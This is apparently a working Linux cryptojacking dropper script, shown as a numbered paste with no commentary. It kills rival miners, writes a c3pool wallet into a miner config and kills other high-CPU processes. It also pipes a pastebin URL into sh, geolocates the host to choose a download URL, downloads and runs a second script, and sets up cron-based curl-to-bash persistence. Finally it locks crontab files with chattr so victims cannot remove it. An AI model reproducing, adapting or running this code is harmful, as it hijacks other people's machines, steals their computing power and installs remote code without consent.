1. #!/bin/bash
  2.  
  3. for file in /etc/cron.d/$(whoami) /etc/cron.d/apache /var/spool/cron/$(whoami) /var/spool/cron/crontabs/$(whoami) /etc/cron.hourly/oanacroner1; do
  4. if [ -f "$file" ]; then
  5. chattr -i -a "$file"
  6. fi
  7. done
  8. CUSTOM_ARG="${1:-x}"
  9. crontab -r
  10. iptables -A INPUT -s 66.23.199.44 -j DROP
  11. iptables -A INPUT -s 45.94.31.89 -j DROP
  12. ip route add blackhole 139.59.59.33 || true
  13. ip route add blackhole 45.94.31.89 || true
  14. rm -rf /bin/softirq || true
  15. mkdir -p /bin/softirq || true
  16. rm -rf /tmp/nuclear || true
  17. mkdir -p /tmp/nuclear || true
  18.  
  19. ip route add blackhole 154.89.152.115 || true
  20. rm -rf /tmp/runnv/* || true
  21. mkdir -p /tmp/runnv/lived.sh || true
  22. mkdir -p /tmp/runnv/alive.sh || true
  23. mkdir -p /bin/softirq || true
  24. rm -rf /usr/local/bin/watcher || true
  25. mkdir -p /usr/local/bin/watcher || true
  26. nohup sh -c "{ wget -qO- https://pastebin.com/raw/2jtsz9Tk || curl -sSLk https://pastebin.com/raw/2jtsz9Tk; } | tr -d '\r' | sh" >/dev/null 2>&1 &
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33. kill_and_remove_process() {
  34. local term="$1"
  35. if [ -z "$term" ]; then
  36. echo "term not provided."
  37. return 2
  38. fi
  39.  
  40. local pids
  41. pids=$(ps -eo pid,args | grep "$term" | grep -v grep | awk '{print $1}')
  42.  
  43. if [ -z "$pids" ]; then
  44. return 1
  45. fi
  46.  
  47. for pid in $pids; do
  48. local exe_path
  49. exe_path=$(readlink -f "/proc/$pid/exe" 2>/dev/null)
  50.  
  51. if [ -z "$exe_path" ]; then
  52. echo "Skipping PID $pid"
  53. continue
  54. fi
  55.  
  56. # SAFETY CHECK: Exclude common system binary paths
  57. case "$exe_path" in
  58. /bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*)
  59. echo "Skipping system binary for PID $pid at: $exe_path"
  60. continue # Move to the next PID
  61. ;;
  62. esac
  63.  
  64. # If the checks pass, proceed with termination and deletion
  65. echo "Terminating non-system process '$term' with PID: $pid"
  66. kill -9 "$pid"
  67.  
  68. if [ -f "$exe_path" ]; then
  69. echo "Deleting executable: $exe_path"
  70. rm -f "$exe_path"
  71. if [ $? -eq 0 ]; then
  72. echo "Executable successfully deleted."
  73. else
  74. echo "Error: Failed to delete executable. Check permissions."
  75. fi
  76. else
  77. echo "Executable for PID $pid not found for deletion (already removed or inaccessible)."
  78. fi
  79. done
  80.  
  81. return 0
  82. }
  83.  
  84. kill_and_remove_process ".rsyslogd" || true
  85. kill_and_remove_process "crazyeltonproxy" || true
  86. kill_and_remove_process "xmrig" || true
  87. kill_and_remove_process "monero" || true
  88. kill_and_remove_process "c3pool.org:80" || true
  89. kill_and_remove_process "/bin/watcher" || true
  90. kill_and_remove_process "45.94.31.89" || true
  91. kill_and_remove_process "hosts-to-ignore" || true
  92. kill_and_remove_process "supportxmr" || true
  93. kill_and_remove_process "youyutebuae.xyz" || true
  94. kill_and_remove_process "nuclear" || true
  95.  
  96.  
  97.  
  98. safe_patch_args() {
  99. TARGET_FILE='/lib/systemd/cache/process-watcher'
  100. NEW_VALUE='-o auto.c3pool.org:443 -u 883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH -p ZZZ'
  101.  
  102. [ -f "$TARGET_FILE" ] || { echo "[WARN] missing: $TARGET_FILE" >&2; return 0; }
  103.  
  104. ESCAPED_VALUE=$(printf '%s' "$NEW_VALUE" | sed 's/[\/&]/\\&/g') || return 0
  105.  
  106. if grep -q '^XMRIG_ARGS="[^"]*"$' "$TARGET_FILE"; then
  107. sed -i "s/^XMRIG_ARGS=\"[^\"]*\"$/XMRIG_ARGS=\"$ESCAPED_VALUE\"/" "$TARGET_FILE" || :
  108. else
  109. printf '\nXMRIG_ARGS="%s"\n' "$NEW_VALUE" >> "$TARGET_FILE" || :
  110. fi
  111. }
  112.  
  113. safe_patch_args
  114.  
  115. for pid in $(pgrep -f 'bash /tmp/.*\.sh'); do
  116. if [ "$pid" != "$$" ] && [ "$pid" != "$PPID" ]; then
  117. kill -9 "$pid" 2>/dev/null && echo "Killed process $pid"
  118. fi
  119. done
  120.  
  121.  
  122.  
  123. if [ "$(id -u)" -eq 0 ]; then
  124. echo "Stopping systemd_s service..."
  125. systemctl stop systemd_s
  126. fi
  127.  
  128. check_system_specs() {
  129. local cpu_count=$(nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null || echo 1)
  130. local is_root=false
  131. if [[ $EUID -eq 0 ]]; then
  132. is_root=true
  133. fi
  134.  
  135. if [[ $cpu_count -gt 8 && "$is_root" == "true" ]]; then
  136. echo "VERY GOOD BOY!"
  137. fi
  138. }
  139.  
  140. # Call the function
  141. check_system_specs
  142.  
  143. kill_high_cpu_processes() {
  144. local threshold=150.0
  145. local exclude_patterns=("reservepattern23333" "goAwgBCFH")
  146. local pid cpu cmdline
  147.  
  148. ps -eo pid,%cpu --sort=-%cpu | awk -v threshold="$threshold" \
  149. 'NR>1 && $2 > threshold {print $1}' | while read -r pid; do
  150.  
  151. # Read full command line (even if truncated in `ps`)
  152. if [ -f "/proc/$pid/cmdline" ]; then
  153. cmdline=$(tr '\0' ' ' < "/proc/$pid/cmdline")
  154. else
  155. echo "PID $pid died before inspection"
  156. continue
  157. fi
  158.  
  159. # Check for exclusion patterns in full cmdline
  160. for pattern in "${exclude_patterns[@]}"; do
  161. if [[ "$cmdline" == *"$pattern"* ]]; then
  162. echo "Excluding PID $pid (matched '$pattern')"
  163. continue 2
  164. fi
  165. done
  166.  
  167. if kill -9 "$pid" 2>/dev/null; then
  168. echo "Killed PID $pid (CPU: $(ps -p "$pid" -o %cpu --no-headers)%)"
  169. else
  170. echo "Failed to kill PID $pid (already dead or permission denied)"
  171. fi
  172. done
  173. }
  174.  
  175. kill_high_cpu_processes
  176.  
  177. is_program_running() {
  178. found=0
  179. for proc_dir in /proc/[0-9]*; do
  180. if [ -d "$proc_dir" ]; then
  181. pid=$(basename "$proc_dir")
  182.  
  183. if [ -r "$proc_dir/cmdline" ]; then
  184. cmdline=$(cat "$proc_dir/cmdline" 2>/dev/null | tr '\0' ' ')
  185.  
  186. if echo "$cmdline" | grep -q "goAwgBCFH" && \
  187. ! echo "$cmdline" | grep -q "is_program_running"; then
  188.  
  189. if [ -r "$proc_dir/stat" ]; then
  190. state=$(awk '{print $3}' "$proc_dir/stat" 2>/dev/null)
  191. if [ "$state" != "Z" ]; then
  192. found=1
  193. break
  194. fi
  195. fi
  196. fi
  197. fi
  198. fi
  199. done
  200.  
  201. if [ $found -eq 1 ]; then
  202. echo "Program is running."
  203. return 0
  204. else
  205. echo "Program is not running."
  206. return 1
  207. fi
  208. }
  209.  
  210.  
  211.  
  212.  
  213.  
  214.  
  215. download_and_execute() {
  216. local output_file="run.sh"
  217.  
  218. local is_in_china=false
  219. if command -v curl &> /dev/null; then
  220. if curl -s --connect-timeout 3 -4 http://ip-api.com/json/ | grep -q '"country":"China"'; then
  221. is_in_china=true
  222. fi
  223. elif command -v wget &> /dev/null; then
  224. if wget -qO- --timeout=3 -4 http://ip-api.com/json/ | grep -q '"country":"China"'; then
  225. is_in_china=true
  226. fi
  227. fi
  228.  
  229. # Select appropriate URL
  230. local download_url="$primary_url"
  231. if [ "$is_in_china" = true ]; then
  232. download_url="$china_url"
  233. fi
  234.  
  235. # Download the script
  236. if command -v wget &> /dev/null; then
  237. wget -qO "$output_file" "$download_url"
  238. elif command -v curl &> /dev/null; then
  239. curl -k -o "$output_file" "$download_url"
  240. else
  241. echo "Error: Neither wget nor curl is available. Please install one of them."
  242. exit 1
  243. fi
  244.  
  245. # Execute if download succeeded
  246. if [[ -f "$output_file" ]]; then
  247. chmod +x "$output_file"
  248. sed -i 's/\r$//' "$output_file"
  249. bash ./"$output_file" "$CUSTOM_ARG"
  250. rm -f "$output_file"
  251. else
  252. echo "Error: Failed to download the script from $download_url"
  253. exit 1
  254. fi
  255. }
  256.  
  257. get_cpu_count() {
  258. # Try different methods to get CPU count
  259. if [ -f "/proc/cpuinfo" ]; then
  260. grep -c ^processor /proc/cpuinfo
  261. else
  262. sysctl -n hw.ncpu 2>/dev/null || nproc 2>/dev/null || getconf _NPROCESSORS_ONLN 2>/dev/null || echo 1
  263. fi
  264. }
  265.  
  266. is_ec2_host() {
  267. # Check if hostname contains "ec2" (case insensitive)
  268. hostname | grep -qi -e "ec2" -e "compute"
  269. return $?
  270. }
  271.  
  272. # Main logic
  273. if ! is_program_running; then
  274. cpu_count=$(get_cpu_count)
  275. if [ "$cpu_count" -gt 3 ] || is_ec2_host; then
  276. download_and_execute
  277. else
  278. echo "LOW CPU: System has only $cpu_count CPUs (minimum 4 required) and is not an EC2 instance"
  279. fi
  280. fi
  281. create_cronjob() {
  282. local cron_command
  283. if command -v curl >/dev/null; then
  284. cron_command="/bin/sh -c 'curl -fsSLk $1 | tr -d '\''\r'\'' | bash'"
  285. elif command -v wget >/dev/null; then
  286. cron_command="/bin/sh -c 'wget -qO- $1 | tr -d '\''\r'\'' | bash'"
  287. else
  288. log "Error: Cannot create cron job, neither curl nor wget is available."
  289. return 1
  290. fi
  291.  
  292. (crontab -l 2>/dev/null | grep -vF "$1"; echo "*/75 * * * * $cron_command") | crontab -
  293. log "Cron job successfully configured."
  294. }
  295.  
  296.  
  297. for file in /etc/cron.d/$(whoami) /etc/cron.d/apache /var/spool/cron/$(whoami) /var/spool/cron/crontabs/$(whoami) /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
  298. if [ -f "$file" ]; then
  299. chattr +i "$file"
  300. chattr +a "$file"
  301. fi
  302. done